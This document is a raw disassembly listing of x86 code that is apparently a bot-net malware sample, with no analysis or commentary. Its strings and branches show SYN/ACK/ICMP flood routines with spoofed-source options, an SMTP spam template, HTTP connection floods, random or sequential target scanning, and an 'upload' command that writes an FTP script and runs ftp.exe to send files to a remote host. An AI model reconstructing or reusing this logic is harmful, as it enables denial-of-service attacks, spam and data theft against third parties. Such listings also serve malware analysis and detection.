		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4D0824
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4D0874
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		push	esi
		call	dword_4D08BC
		call	dword_4D077C
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_43035C


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_43031C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_4302D8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_4302A0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_430268


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4D0914, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_430220
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_4301E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_430194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_43015C


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_430128
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4300F4
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_4300AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_430074


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_430034
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_430014
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D0790
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42FFA4
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42FF74


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_436D08, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_436D08


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_436D08[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42FF40
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42FF0C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4D07C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset loc_429150
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FEA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FE6C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FDE0
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_443778[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42FDD4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443560[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_443778
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_443778[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
